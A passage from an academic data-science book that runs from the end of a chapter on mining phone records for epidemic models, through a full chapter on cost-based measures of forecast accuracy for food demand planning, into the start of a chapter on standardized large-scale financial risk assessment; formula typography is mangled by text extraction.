transforming the records of streaming, real-time observations into a format
suitable for further analysis. Storing all of the possible trips or routes between
antennas based on actual ego travel would have made trip pattern identification
easier at the cost of ~100 TB of storage. Condensed intermediate datasets that
summarized raw data points were required for most tasks.

• Clustering: Using multiple, unrelated datasets illuminated hidden patterns. For
example, travel, migration, and communication were highly correlated with the
dialects and cultural norms found in different subregions of the country. Thus,
maps of the linguistic subregions of a country validated the selected value of
k ¼ 7 in clustering tasks. Also, techniques for reducing noise in the data were
required. Noise would have caused model overfitting, misinterpretations, and
falsely identified movements due to artifacts in the way the dataset was collected.
In this case study, these techniques eliminated some of the noise caused by
cellular antenna switching that was not actually due to significant physical
movement. As always, it was important to select the right clustering algorithms

Fig. 19.9 Geo-temporal animation of a sample simulation result modeling a potential epidemic in
Senegal based on a specific scenario (generated with Google Maps and D3.js). The size and color of
the points on the map indicate the number of infections at that location for a given simulated day.
Compare (Leidig and Dharmapuri 2015)
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for each task (e.g., DBSCAN for a task where clusters are expressed in different
densities of the data points, and K-Means where clusters are defined by
distances).

• Modeling and visualization: There is a wealth of unexpected, latent information
and patterns in human-centric datasets. Human-intensive programming, scripting,
and data mining were used to build models that implicitly contained these
patterns. Models constructed from person-centric sources were a noticeable
improvement over historical approaches. As an example, previous mobility
models largely assigned two approximate locations (home and work) for a
synthetic agent through archived survey and questionnaire results. In contrast,
person-centric sources in this case study were able to provide all 15 verified
locations that a specific ego traveled in a given day. Explicit practical insights
were identified via question answering. As the nature of the insights were not
known a priori, visualizations were required to determine the next set of questions
that could potentially be asked. Visualizations also served to evaluate the validity
of scripts, algorithms, intermediate results, and generated models.

In summary, this workflow demonstrated the feasibility of developing population
models for public health simulations that incorporate human behavior complexity by
mining latent patterns found in large CDR datasets.
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Chapter 20
Economic Measures of Forecast Accuracy
for Demand Planning: A Case-Based
Discussion

Thomas Ott, Stefan Glüge, Richard Bödi, and Peter Kauf

Abstract Successful demand planning relies on accurate demand forecasts.
Existing demand planning software typically employs (univariate) time series
models for this purpose. These methods work well if the demand of a product
follows regular patterns. Their power and accuracy are, however, limited if the
patterns are disturbed and the demand is driven by irregular external factors such
as promotions, events, or weather conditions. Hence, modern machine-learning-
based approaches take into account external drivers for improved forecasting and
combine various forecasting approaches with situation-dependent strengths. Yet, to
substantiate the strength and the impact of single or new methodologies, one is left
with the question how to measure and compare the performance or accuracy of
different forecasting methods. Standard measures such as root mean square error
(RMSE) and mean absolute percentage error (MAPE) may allow for ranking the
methods according to their accuracy, but in many cases these measures are difficult
to interpret or the rankings are incoherent among different measures. Moreover, the
impact of forecasting inaccuracies is usually not reflected by standard measures. In
this chapter, we discuss this issue using the example of forecasting the demand of
food products. Furthermore, we define alternative measures that provide intuitive
guidance for decision makers and users of demand forecasting.

1 Introduction

1.1 Sales Forecasting and Food Demand Planning

Accurate demand forecasts are the backbone of successful demand planning. In
particular, for food products with short life cycles the choice of the most suitable
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forecasting method is of central concern for business and hence the question is a
driver for applied research activities. It does not come as a surprise that a plethora of
different forecasting methods have been developed and suggested for food demand
planning (e.g., Da Veiga et al. 2014; Žliobaitė et al. 2012; Taylor 2007). The most
prevalent methods are based on time series models or state space models, notably,
exponential smoothing, Holt-Winters method, ARIMA models, Kalman filters or
regression models [see, e.g., De Gooijer and Hyndman (2006) for an overview of the
most common methods]. Furthermore, artificial neural networks have been used for
demand planning for a long time (Doganis et al. 2006), while only more recently
other classes of machine learning techniques such as regression trees or random
forests (Bajari et al. 2014) have been utilized. Common commercial software
solutions for demand planning, such as Inform add*ONE or SAP APO (Vasumathi
and Shanmuga Ranjani 2013), typically employ one or more of these methods.

Demand planning takes more than good forecasts. For the actual planning, a
number of boundary conditions such as inventory constraints have to be considered.
Sales forecasting should focus on the demand of a product irrespective of these
constraints as they often distort the figures about the actual demand. In an opera-
tional setting we often face the problem of one-step-ahead forecasting, that is, for a
product we want to predict the demand at time step t based on the demand
observations from times t � 1, t � 2, . . . , t � n. In the following, we use Xi for
the actual demand and Fi for the respective forecast. In order to estimate the past
demand values Xi(i ¼ t � 1, t � 2, . . . , t � n) , the actual sales data is used. Special
care has to be taken in stock-out situations, as sales data underestimates the real
demand of the product. At the same time, the real demand of some substitute product
might be overestimated. Hence, the availability of accurate past demand data is
nontrivial. For the following considerations we will ignore this problem and assume
that Xi closely reflects the actual demand.

1.2 Successful Demand Forecasting: The Past and the Future
Inside

Statistical forecasting algorithms try to capture past sales patterns and project them
into the future. However, these patterns can be disturbed or can even undergo
disruptive changes. An experienced procurement manager has some intuition and
beliefs about the driving factors of structural interruptions and their impact on sales
quantities. Hence, she or he may adjust the forecasts manually, in accordance with
the assumed impact of the driving factors that she or he considers relevant in
advance. In practice, a manual intervention is often made when promotions are
planned or when an upcoming event or specific weather conditions are supposed to
influence sales. Clearly, human intuition can be an important source to incorporate
the impact of information about the future, and yet, human intuition is limited. For
instance, for humans it is often difficult to grasp cross-effects of many factors and, as
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a consequence, humans often tend to overestimate the influence of a single factor.
Hence, especially when dealing with a large product portfolio, a need for supporting
software solutions arises that evaluate and employ external drivers for enhanced
sales forecasting.

An example of such a software solution is PROGNOSIX Demand, which com-
bines various forecasting approaches and additionally incorporates the experience of
human experts in cases where not enough (or unreliable) data is available. The
methodology is based on the common experience that there is not a single best
forecasting method for everything. Depending on the product, available data and the
current sales situation, different methods are more or less suitable. Hence, it is
important to evaluate the methods in terms of performance, where the performance
is usually put into relation with the forecast error, or forecast accuracy, respectively,
evaluated over a certain period of time. Subsequently, there is a need for suitable
error or accuracy measures. In the following, we will thus first discuss common error
measures. However, in practice, one has to decide for one measure in order to judge
the performance of different methods and to select the best one. Does it matter which
error measure is used? What is the economic significance of the error? The answer is
not always clear when using conventional measures, as we will illustrate in the
subsequent sections.

1.3 Traditional Measures of Forecast Accuracy

The goal of good forecasting is to minimize the forecasting error(s).

et ¼ Ft � Xt ð20:1Þ

The error is positive, if the forecast is too high, and negative, if the forecast is too
low. Usually, the error is defined with opposite signs. Here, in the context of sales
forecasting, we prefer the convention in Eq. (20.1), as a positive error means that we
have some unsold products left (oversupply).

Traditional measures of forecast accuracy, also referred to as forecast error
metrics, can be subdivided into four categories (Hyndman 2006). We will quickly
review each by providing the most popular metrics for one-step ahead forecasts.

1. Scale-dependent metrics are directly based on the forecast errors et
The most popular measures are the mean absolute error (MAE):

MAE nð Þ ¼ 1
n

Xn
t¼1

etj j ð20:2Þ

and the root mean square error (RMSE):
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RMSE nð Þ ¼
ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
1
n

Xn
t¼1

et2

s
ð20:3Þ

Here and in the following we assume that the forecasting series is evaluated over a
period t ¼ 1, . . . , n.

2. Percentage error metrics aim at scale-independence, such as the widely used
mean absolute percentage error MAPE:

MAPE nð Þ ¼ 1
n

Xn
t¼1

j et
Xt

j ð20:4Þ

MAPE has the disadvantage of being asymmetric, as for a given forecast value
Ft and │et│, the penalty is heavier if et < 0. Therefore, a symmetric form of the
MAPE is used sometimes, where the denominator is replaced by XtþFtð Þ

2 , or alterna-
tive measures have been suggested (e.g., Kolassa and Schütz 2007).

3. Relative error metrics compare the error of the forecasting with the error of
some benchmark method. Usually, the naïve forecast (i.e., Xt � 1 for Ft) is used as
benchmark, where the forecast value for a one-step ahead forecast is simply the
last observed value. One of the measures used in this context is the relative mean
absolute error (RelMAE), defined as

RelMAE nð Þ ¼ 1
n

Xn
t¼1

j et j
j Xt � Xt�1 j ð20:5Þ

Here we assume that Xt � 1 is also available. Similarly, we can define the relative
RMSE, also known as Theil’s U (De Gooijer and Hyndman 2006).

4. Scale-free error metrics have been introduced to counteract the problem that
percentage error metrics and relative error metrics are not applicable if zeros
occur in the denominators. The mean absolute scaled error MASE
(Hyndman 2006) introduces a scaling by means of the MAE from the naïve
forecast, where the last value is used as forecast:

MASE nð Þ ¼ 1
n

Xn
t¼1

j et j
1

n�1

Pn
i¼2 Xi � Xi�1j j

 !
ð20:6Þ

All these measures come along with certain advantages and disadvantages. For
example, percentage error metrics are often recommended for comparing forecast
performance across different time series. Drawbacks are the inapplicability if a
demand value is zero and the vagueness of percentage values regarding the inter-
pretation of the economic impact. For sales forecasting, a MAPE of 1% may be
economically significant or insignificant, depending on the sales volume. The next
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sections will address the issue of the economic significance of errors on the basis of
concrete examples.

2 Cost Error Metrics

2.1 Which Metric Is Best: A Toy Example

We first study a prototypical situation in demand forecasting by means of a slightly
caricatured toy example. For this, we created a random sequence of n¼ 100 samples
from a Gaussian distribution with mean μ ¼ 10 and standard deviation σ ¼ 1
(arbitrary units). This sequence is interpreted as the sales baseline. We then added
five random peaks with height of Δh ¼ 4μ, which represent the increased demand
due to external factors. Real-world examples of such factors are sales promotions/
special offers, holidays, special weather conditions etc. The generated sequence is
shown in Fig. 20.1. Furthermore, the output of two different forecasting models is
depicted. The first model is a perfect baseline model that, however, cannot anticipate
the peaks. The second model is able to perfectly predict the peaks, but is always
slightly overestimating the sales otherwise. We modeled this situation by a slight
upshift of the original time series by 1 unit.

Imagine a planner that has to decide which model to choose for future predictions.
She or he has to resolve the trade-off between hitting the peaks while being slightly

Fig. 20.1 Sales sequence (green) with five disruptive peaks, a perfect baseline model (red) that
misses the peaks and a perfect peak model (black) which is slightly shifted in between peaks

20 Economic Measures of Forecast Accuracy for Demand Planning: A Case. . . 375



wrong in the meantime and being accurate most of the time but missing the peaks.
For her or his decision, the planner evaluates the observed sequence using MAE,
RMSE, MAPE, and relMAE. The results of the evaluation are shown in Table 20.1.

The result is ambiguous. MAE and RMSE speak in favor of the peak model,
while MAPE and relMAE favor the baseline model. According to MAE, the time
series model seems to be about “twice as bad” as the peak model; according to the
RMSE, it seems to be even about “nine times as bad.” Similar arguments can be
produced for the comparison between MAPE and relMAE in favor of the baseline
model.

The example illustrates the limitation of forecast error metrics for decision
making. How can we resolve this issue? At the end of the day an economically
relevant metric is defined by cost, that is, the financial consequences that come along
with the prediction errors. Costs, however, can be highly product-specific and
market-specific. Moreover, they depend on stock-keeping processes, an aspect we
will discuss later.

2.2 Constructing Cost-Based Error Metrics

For now, let us assume that forecasting errors and costs are in direct relation. This is
typically the case for fresh food products that cannot be stored and for which cost are
directly related to sales. In consequence, a forecast that is too high results in costs for
food waste and a forecast that is too low yields costs for stock-out. For goods that can
be stored for an (un)limited time, there are storage costs instead of waste costs. In
most practical cases, there will be a mixture of these types of costs. In any case, we
assume that the forecast error et can be directly translated into costs c(∙) and the costs
do not depend on the history, that is,

c Xt;Ftð Þ; Xt�1;Ft�1ð Þ; Xt�2;Ft�2ð Þ; . . .ð Þ ¼ c etð Þ: ð20:7Þ

In the following, we will explain to what extend the metrics discussed above are
able to reflect these costs and what kind of adaption would be needed to better
account for real costs. We propose a generalized Mean Cost Error (MCE) of the
following form:

Table 20.1 Results of four different error metrics

MAE RMSE MAPE relMAE
Baseline model 2.0 8.9 0.04 0.05
Peak model 0.95 0.97 0.10 2.74

The best results are highlighted
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MCE nð Þ ¼ s
1
n

Xn
t¼1

c etð Þ
 !

, ð20:8Þ

where c(∙) is a cost function and s(∙) is a scaling function. Obviously, MCE defines a
general form of a scale-dependent metric; MAE and RMSE can be considered
special instances of MCE (see Fig. 20.2a, b).

If MAE and RMSE are interpreted in the framework of MCE, then it becomes
apparent that these metrics impose some specific assumptions on the costs that may
not be very natural in practice.

From the perspective of cost, a natural first approach is to neglect economies of
scale and assume proportionality. Hence, excess stock cost or food waste cost
(et > 0) increase proportional to the volume of the leftovers, that is, proportional
to the forecasting error. For instance, costs may increase proportional to the
manufacturing cost per unsold item or to the storage cost per unsold item (a: costs
per item for et > 0). Similarly, stock-out cost increases proportional to the stock-out,
for example, proportional to the unrealized profit or margin per item (b: costs per
item for et < 0). Consequently, a first model is a piecewise linear cost model.

As a special class of MCE, we thus define the linear MCE (linMCE) as

linMCE ¼ 1
n

Xn
t¼1

cab etð Þ with cab etð Þ ¼ aet if et � 0
�bet if et < 0

�
ð20:9Þ

The measure is usually asymmetric as a 6¼ b in general. In this setting, MAE is a
special symmetric instance of linMCE (c.f. Fig. 20.2a, c).

Furthermore, we define a generalized class of scale-independent metrics that we
call Mean Cost Percentage Error MCPE, as follows:

Fig. 20.2 Cost function of MAE, RMSE, and linMCE as special instances of MCE
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MCPE nð Þ ¼ s
1
n

Xn
t¼1

c etð Þ
p Xtð Þ

 !
, ð20:10Þ

where p(∙) is given by some reference costs that are in connection with the real
demand at time t. In the linear approach, we may for instance assume that p(Xt)
is proportional to the sales price of a product and to the number of items sold, that is,
p(Xt) ¼ p � Xt. Hence, we define the linear MCPE as

linMCPE ¼ 1
n

Xn
t¼1

cab etð Þ
p � Xt

with cab etð Þ ¼ aet if et � 0
�bet if et < 0

�
ð20:11Þ

The measure can be interpreted as the mean of the costs due to the forecasting
error in relation to the sales volume per forecasting period. MAPE is a special case of
linMCPE with a ¼ b ¼ p ¼ 1.

2.3 Sensitivity Analysis for linMCE

In order to calculate linMPE, we need to specify the parameters a (oversupply cost)
and b (stock-out cost) for each product. Therefore, the costs per item for oversupply
and for stock-out have to be made explicit. In practice, the parameters may be
difficult to quantify exactly as, for instance, the oversupply cost can consist of a
variable mixture of costs for food waste and storage. Thus, we may be interested in a
more general comparison of forecasting methods or models with respect to the
parameters a and b. For this sensitivity analysis we dissect the linMCE in an a-
part and a b-part [i.e., using the Heaviside step function h(∙)]:

linMCE ¼ 1
n

Xn
t¼1

cab etð Þ ¼ a � 1
n

Xn
t¼1

eth etð Þ
 !
|fflfflfflfflfflfflfflfflfflfflfflffl{zfflfflfflfflfflfflfflfflfflfflfflffl}

linMC Ea�0

�b � 1
n

Xn
t¼1

et 1� h etð Þð Þ
 !
|fflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflffl{zfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflfflffl}

linMC Eb�0

ð20:12Þ

We can then study the relative performance of two forecasting models, M1 and
M2, in dependence on the ratio x of a and b as follows:
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f x ¼ a

b

� �
¼ linMCEM1

linMCEM2 ¼
a � linMCEM1

a � b � linMCEM1
b

a � linMCEM2
a � b � linMCEM2

b

¼ x � linMCEM1
a � linMCEM1

b

x � linMCEM2
a � linMCEM2

b

ð20:13Þ

with the restriction that x � 0. Model 1 outperforms model 2 if f(x) < 1. Hence, as a
critical condition for x we obtain

xcrit ¼ linMCEM1
b � linMCEM2

b

linMCEM1
a � linMCEM2

a

ð20:14Þ

In practice, one has to perform a case-by-case analysis to decide whether the
critical point is in the relevant range x� 0 and to determine the values of f(x). Hence,
it is more convenient to plot this function, as we will discuss in the next section.

3 Evaluation

3.1 Calculating the Linear MPE: Toy Example Revisited

For our toy example we calculate the function f(x) in a straightforward manner. The
time series consists of n ¼ 100 observations and 5 peaks with peak height
Δh ¼ 4μ ¼ 40. The peak model is shifted by Δv ¼ 1 off the peaks. Hence, for the
comparison of the baseline model (M1) and the peak model (M2), we get

f x ¼ a

b

� �
¼ linMCEbaseline

linMCEpeak ¼ 2b
0:95a

¼ 2:11
x

ð20:15Þ

which is derived from the following analysis of the linMCE (Table 20.2).
As a cross-check we see that the values for the MAE in Table 20.1 are retrieved

for a ¼ b ¼ 1. The function f(x) in Eq. (20.15) is continuously decreasing and the
critical point is at x ¼ 2.11. Therefore, the baseline model should be preferred if
a> 2.11 � b (x> 2.11) and the peak model is the right choice if a< 2.11 � b. That is,
the peak model performs better if the oversupply (food waste/storage) costs per item
are smaller than about two times the stock-out costs per item. This is due to the fact
that a larger b in comparison to a, and hence a smaller x, puts a heavier penalty on
stock-out situations that occur for the baseline model during peaks.

Table 20.2 Dissection of linMCE for the toy example (cf. Fig. 20.1)

a � linMCEa �b � linMCEb linMCE

Baseline model (M1) 0 5 � Δh � bn ¼ 2b 2b

Peak model (M2) n� 5ð Þ � Δv � an ¼ 0:95a 0 0.95a
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3.2 Real World Example

In this section, we turn the focus on a real world example. Figure 20.3 depicts the
demand data for a food product (weekly sales of a fruit juice) from a retail supplier.
The sales sequence (blue curve) comprises of n¼ 146 values with mean x ¼ 18,266
and standard deviation σ ¼ 3783 (units). The time series shows some characteristics
that are typical for many food products, that is, there are characteristic peaks and
dents due to promotions and the series exhibits a falling trend and, hence, is not
stationary.

Following the toy example introduced above, we chose and fitted two models for
one-step-ahead predictions. Both models are based on regression trees. However,
they show a rather complementary behavior comparable to the models in the toy
example before (cf. Fig. 20.3). One model can be considered as baseline model (red
curve, model 1). It is able to predict the general development of the time series, but
misses the peaks. In contrast, the second model (peak model; black dotted curve,
model 2) takes into account additional external information and hence, is able to
predict most peak demands. The price to pay is a reduced reliability between peaks.
The model even predicts peaks that do not occur at all in the actual sales sequence.

With regard to the traditional error measures we observe the same picture as for
the toy example (cf. Table 20.1). MAE and RMSE favor the peak model, whereas

Fig. 20.3 Typical sales sequence and two different forecasts for a food product

Table 20.3 Results of four different error metrics for the real world example

MAE RMSE MAPE relMAE
Baseline model 2134.85 3234.45 0.1125 3.7248
Peak model 2080.34 2951.00 0.1253 6.2250

The best results are highlighted
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MAPE and relMAE suggest using the baseline model (Table 20.3). In fact, relMAE
even indicates that the naïve model should be used. The error measures were
computed over the whole sequence.

The sensitivity analysis based on linMCE again allows for a clearer picture. In
Fig. 20.4, the function f according to Eq. (20.13) is depicted. The critical point,
highlighted by a red vertical line, is at xcrit ¼ 1.105. We can conclude that the
baseline model should be used in case a/b > 1.105, that is, if the stock-out cost per
item is clearly smaller than the oversupply cost per item. In case a/b < 1.105, the
peak model performs better since the stock-out costs per item are almost equal or
larger than the oversupply costs per item. Again, for ratios a/b < 1.105, stock-out
situations that occur for the baseline model during a peak are penalized more heavily
and the costs for the baseline model are increased accordingly.

For the comparison of more than two models we suggest pairwise comparisons of
each model with a benchmark, for example, the naïve prediction (last value is used as
predicted value), which allows for a ranking of the models for each value of x by
comparing the functions:

bmodel x ¼ a

b

� �
¼ linMCEmodel

linMCEbenchmark ð20:16Þ

The result of this comparison for the baseline model and the peak model is shown
in Fig. 20.5. We can identify three different regimes:

1. 0 < x < 1.105, that is, if the oversupply costs per item are less than 1.105 times
the stock-out costs, the peak model outperforms the baseline model and the
benchmark model, the benchmark model is the worst choice.

2. 1.105 < x < 2.050, the baseline model outperforms the peak model and the
benchmark model, and the benchmark model is the worst choice.

0

0.
8

1.
0

1.
2

1.
4

f(
x)

1.
6

1.
8
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0

2 4 6

x = a/b

8 10

Fig. 20.4 Comparison of baseline model versus peak model as a function of the ratio a/b. On the
right side of the critical point (red line), the baseline model should be preferred
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3. x> 2.050, that is, if the oversupply costs are more than 2.050 times larger than the
stock-out costs, the baseline model is best, the peak model is worst.

If we finally want to decide which model to use for our product, we need to make
assumptions about the parameters a and b. For our example product (fruit juice), a
per unit price of 1 CHF has to be paid to the producer and the product is sold for 1.2
CHF. Hence, the margin per unit is 0.2 CHF and this value is used to estimate the
stock-out cost (b� 0.2). The oversupply parameter a is a bit harder to estimate in this
case. As the time of permanency of this product is relatively large in comparison to
the supply circle, an oversupply leads to an increase in stock rather than to food
waste. The stock-keeping costs are estimated to be 10% of the average stock value,
that is, 0.1 CHF per unsold unit per cycle. Hence, according to a first approximation,
we choose a � 0.1.

In conclusion, we have x ¼ a/b � 0.5 and hence the sensitivity analysis suggests
to use the peak model.

3.3 Stock-Keeping Models: Beyond Simple Cost Measures

The measures for forecast costs presented so far were functions of demands/sales Xt

and forecasts Ft. These measures are applicable in straightforward manner for goods
with short expiration times as in this case, the parameters a and b are relatively easy
to estimate (a corresponds to the production/base prize and b corresponds to the
margin per unit). The estimations become more complicated for products with a
longer time of permanency. In this case, as we have seen in the example above, we

Fig. 20.5 Comparison of models versus naive model: green line: bbaseline, blue line: bpeak, black
line: benchmark. The red lines indicate preference regimes of different models
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have to make further assumptions about the stock-keeping process as the proposed
measures do not take into account storage capacities. In general, for goods that can
be stored, storage capacities, storage cost, and logistics strategies should be taken
into consideration for a more reliable evaluation of the economic impact of fore-
casting algorithms. In the following, we present a simple stock-keeping model
including stock capacities, service level, storage cost, ordering times, and product
margins.

An important key figure in logistics is the beta service level, defined as the
probability that an arbitrary demand unit is delivered without delay. Typical target
values for the beta service level are at 0.99 or even higher. From the service level, a
safety stock level can be derived, depending on assumptions about the demand
distribution and the forecast accuracy. Intuitively, the more reliable the forecasts are,
the lower the safety stock level can be, given a certain beta service level. Typically,
the demand distribution is not known, but has to be estimated indirectly through the
sales distribution (not yielding information about, e.g., potential stock-outs), as we
pointed out earlier.

To compute the safety stock level in practice, normally distributed forecast errors
et ¼ Ft � Xt are usually assumed (Brown 1967). From these errors, the root mean
square error RMSE(et) can be computed. Defining

tbeta ¼ 1� betað Þ Dð Þ
beta

ffiffiffiffiffi
Lt

p
RMSE etð Þ� � , ð20:17Þ

where D is the average demand and Lt the average lead time, we compute w ¼ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
log 25

tbeta2

� �r
and approximate the safety stock factor kbeta as (according to Brown

1967)

kbeta ¼ �5:3926þ 5:6611� w� 3:8837� w2 þ 1:0897� w3

1� 0:725� wþ 0:5073� w2 þ 0:06914� w3 � 0:0032� w4
� ð20:18Þ

From kbeta, the safety stock level is computed as safety stock level ¼ kbeta
sigma

ffiffiffiffiffi
Lt

p
, with sigma denoting the standard deviation of the forecast errors et.

Details on the derivation of the safety stock level can be found in Brown (1967).
With these foundations (simplifying Lt ¼ 1), a stock-keeping model can be

defined through

Orders for time t þ 1 ¼ Ftþ1 þ safety stock level � stock at time t:

To evaluate different forecasting strategies, Xtþ1 can be used as simulated
demand and costs for stock-keeping and lost sales can be simulated for each
forecasting model.
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Applied to the example presented in Fig. 20.3, assuming again a per unit price of
1 CHF paid to the producer, a per unit price of 1.2 CHF paid by the customer, an
average lead time Lt ¼ 1 time period, a safety stock factor kbeta ¼ 0.99, and annual
stock-keeping costs of 10% of the average stock value, Table 20.4 shows a compar-
ison between the baseline model and the peak model (146 periods). Note that more
complex inventory models would allow for further parametrizations of expiration
times for a product and correspondingly for estimations of waste cost.

As expected from Fig. 20.3, the peak model is more valuable in terms of
opportunity costs than the baseline model. For stock-keeping cost, the baseline
model is slightly more profitable. The effective beta service level “effective beta
service level” is close to 99% for both models, indicating that forecast error
distributions are in accordance with the assumptions stated above. The decision
upon which model should be used can now be based on total costs. In this example,
the peak model is to be preferred. This finding is in line with our result based on
the linMCE analysis, where we found a

b e0:5. The stock-keeping model, however,
allows for a more robust estimate of the economic significance of the two forecasting
models. From Table 20.4 we see that choosing the right model helps reduce the costs
by almost 60%, when changing from the baseline model to the peak model. Or in
other words, if the decision would have been based on either MAPE or relMAE, the
cost due to forecasting errors of the chosen model would have been at least 2.4 times
as high as necessary in the case of the optimal decision.

4 Conclusions and Lessons Learned

Error metrics are used to evaluate and compare the performance of different fore-
casting models. The traditional, most widely used metrics such as MAE, RMSE,
MAPE, and relMAE come along with certain disadvantages. As our examples from
food demand forecasting illustrated, their values are often difficult to interpret
regarding the economic significance and they may yield incoherent accuracy rank-
ings. In practice, economically relevant metrics are linked to the costs that are caused
by the prediction errors. We introduced a class of such measures that allow for

Table 20.4 Stock-keeping model results for the example presented in Fig. 20.3

Quantity Baseline model Peak model

Average stock level (units) 22,544 23,164

Safety stock level (units) 3886 3415

Effective beta service level (%) 98.08 99.92

Stock-keeping costs (CHF) 6329 6504

Opportunity costs (CHF) 10,266 385

Stock-keeping þ opportunity costs (CHF) 16,595 6889

At a margin of 20% (0.2 CHF), stock-keeping cost differences are by magnitudes lower than the
differences in opportunity costs for the two models
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considering different weights for oversupply/excess stock costs and stock-out costs.
It turns out that traditional measures can be interpreted as special cases in this class
with specific cost configurations. In practice, costs for oversupply or stock-out might
be difficult to determine. In order to cope with this issue, we introduced a method
that enables a straightforward sensitivity analysis. It allows for choosing the optimal
forecasting method on the basis of a relatively rough estimate of cost ratios.

The proposed cost error metrics, however, have no memory. That is, they assume
that there is no stock available at the beginning of each step and the demand is equal
to the supply of goods. This assumption is reasonable for the approximate evaluation
of a forecasting method. However, real costs may not always directly reflect this
performance, for example, for stocked goods a too low demand forecast does not
necessarily lead to stock-out cost. It might even help reducing stocks and hence a bad
forecast can have a positive effect on the costs. In order to better approximate real
costs, simplified stock-keeping models can be used.

We illustrated the discussed aspects by means of a toy and a real world example.
From these case studies we learned the following:

• The choice of the best forecasting model depends on the ratio of oversupply costs
and stock-out costs.

• In particular, a baseline model should be preferred over a peak model if the
oversupply costs are much higher than the stock-out costs and vice versa.

• Common error metrics do not account for this observation and can lead to bad
model decisions.

• A bad model decision can easily result in an increase of the cost or the nonrealized
earning potential by a factor of 2.4 for a single product.

An important aspect regarding the choice of optimal models that has not been
discussed is the length of the evaluation time window. On the one hand, if the
evaluation window is too short, random deviations without any significance can be
predominant. On the other hand, if this window is too long, the good performance of
a model in the distant past might masque structural disruptions that can cause a poor
performance in the near future. For the model selection process, we thus generally
suggest introducing an additional optimization loop that regularly adjusts the opti-
mal length of the evaluation window. There is clearly not a unique optimally
performing forecasting algorithm for everything. Similarly, to assess the qualities
and economic values of forecasts, there is not a unique best forecast error measure.
Different aspects, mainly involving costs of stock-keeping, stock-out, and waste, but
also supply chain and marketing strategies (customer satisfaction, ecologic reputa-
tion, transport optimization, etc.) should be considered when evaluating forecasting
procedures. The strategies presented here may provide a contribution to the goal of
creating more economic value from demand forecasting.
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Chapter 21
Large-Scale Data-Driven Financial Risk
Assessment

Wolfgang Breymann, Nils Bundi, Jonas Heitz, Johannes Micheler,
and Kurt Stockinger

Abstract The state of data in finance makes near real-time and consistent assess-
ment of financial risks almost impossible today. The aggregate measures produced
by traditional methods are rigid, infrequent, and not available when needed. In this
chapter, we make the point that this situation can be remedied by introducing a
suitable standard for data and algorithms at the deep technological level combined
with the use of Big Data technologies. Specifically, we present the ACTUS approach
to standardizing the modeling of financial contracts in view of financial analysis,
which provides a methodological concept together with a data standard and compu-
tational algorithms. We present a proof of concept of ACTUS-based financial
analysis with real data provided by the European Central Bank. Our experimental
results with respect to computational performance of this approach in an Apache
Spark based Big Data environment show close to linear scalability. The chapter
closes with implications for data science.

1 Introduction

The financial sector is a challenging field of application for cutting-edge ICT
technology. Indeed, its raw material being money and capital in different forms,
which mostly is represented by mere numbers stored in computers, financial insti-
tutions can be viewed as applied IT companies. Still, their way of using the
technological tools present severe shortcomings. Some of them have become evident
during the 2008 financial crisis. Back then, a total financial collapse was averted only
by massive public sector intervention. As to the underlying reasons, the Basel
Committee on Banking Supervision recognizes in a recent report (Bank for Interna-
tional Settlement 2013)
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. . . that banks’ information technology (IT) and data architectures were inadequate to
support the broad management of financial risks. [. . .]

The report identifies banks’ poor capability to “quickly and accurately” aggregate
risk exposures and identify concentrations of risk at “the bank group level, across
business lines and between legal entities.” The same holds true for supervisory and
regulatory institutions. In essence, we learned that both the public and the private
sector lack the capability for flexible, near-time risk measurement that would allow
us to understand quickly enough what is happening. This is especially true in the face
of more complex, rapidly unfolding events, such as a global liquidity freeze, which
can cause major disruptions and impose very high costs in a short span of time.

The state of financial data is emblematically illuminated by the weaknesses in
“stress testing” the largest financial institutions. Stress tests are important risk
assessment tools for judging the soundness of financial institutions and (ultimately)
the financial system as a whole. One of the failings is the impossibility of carrying
out stress tests speedily and consistently across different large financial institutions,
much less the whole financial system. Currently, it takes a major bank several
months to perform a regulator-required stress test. In addition to the lack of timeli-
ness, the results are of limited value because the analyses completed for different
institutions are not comparable with one another. The state of data in finance means
that a near real-time and consistent understanding of finance is impossible today. The
aggregate measures produced by traditional methods are rigid, infrequent, and not
available when needed. The current limitations are illustrated by the inability to
measure, even imprecisely, the risks inherent in the development of subprime
lending, securitization, and risk transfer in the run-up to the 2007 crisis (UBS AG
2008).

This should be contrasted with what has already been achieved in other fields of
human technology that require worldwide integration. Weather forecasting is now
based on complex physical models fed by a constant stream of data from multiple
observation sources (Vasquez 2011) and, as a result, has become quite reliable
compared to forecasting of only a few decades ago. The data stream generated by
all experiments of CERN’s Large Hadron Super Collider together is reported to
attain about 25 GB/s (CERN 2017) and is analyzed by a thousand particle physicists
all over the globe; that is, CERN has a truly amazing Big Data challenge.1 Important
in all these activities are large-scale simulations, a scientifically recognized approach
for understanding complex systems and establishing effective control. The most
promising approach for simulating a complex system often starts with granular data.
Simulating (parts of) the financial system on a granular level is a formidable
computational task similar to weather forecasting or other large volume data
processing tasks.

1It is interesting to compare the volume of this data flow to the bandwidth of the AEConnect cable,
one of the newest transatlantic cables that make up the backbone of the Internet. It consists of
130 optical fiber with a bandwidth of 100 Gbps/fiber, thus adding up to 13 Tbps or about 1.3 TB/s
for the whole cable (Lightwave 2017).
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To avert in the future events such as the 2007–2009 financial crisis, which bear
the risk of long-term damage to the economy and collapse of social well-being, it is
essential to speedily address the failings revealed by this crisis (Shadow Banking
2017) and to raise the use of IT technology to a level already attained in other
domains. It is not the absence of bandwidth or computing power that impedes the
transformation of financial measurement and analytics comparable to the advances
in weather forecasting and particle physics. It is the absence of a standardized
representation of the basic elements of financial system that inhibits data integration
and the efficient use of the full potential of the available ICT technology in the
financial sector. Indeed, while the meteorological infrastructure evolved over
decades in a collaborative effort, similarly powerful infrastructure does not yet
exist for the financial system. Accordingly, we focus on two crucial aspects of the
IT technology needed to remedy the situation and be prepared for the future:

1. The establishment of a combined standard for both, core financial data and core
algorithms using these data as input for financial calculations

2. The use of an Apache Spark–based Big Data environment to massively speed up
the calculations

As to the first point, standardization at the deep, technical level of the contract
data is a necessary precondition for coherent financial measurement at the individual
bank level and, a fortiori, the financial system level (Jenkinson and Leonova 2013).
This standardization is addressed by the project ACTUS (Algorithmic Contract Type
Unified Standards 2017), which is at the basis of the results presented in this chapter.
Indeed, Francis Gross, former head of the European Central Bank’s External Statis-
tics Division, has recently pointed out (Gross 2014) the dire need of data standard-
ization and singled out project ACTUS as one of three promising initiatives. This
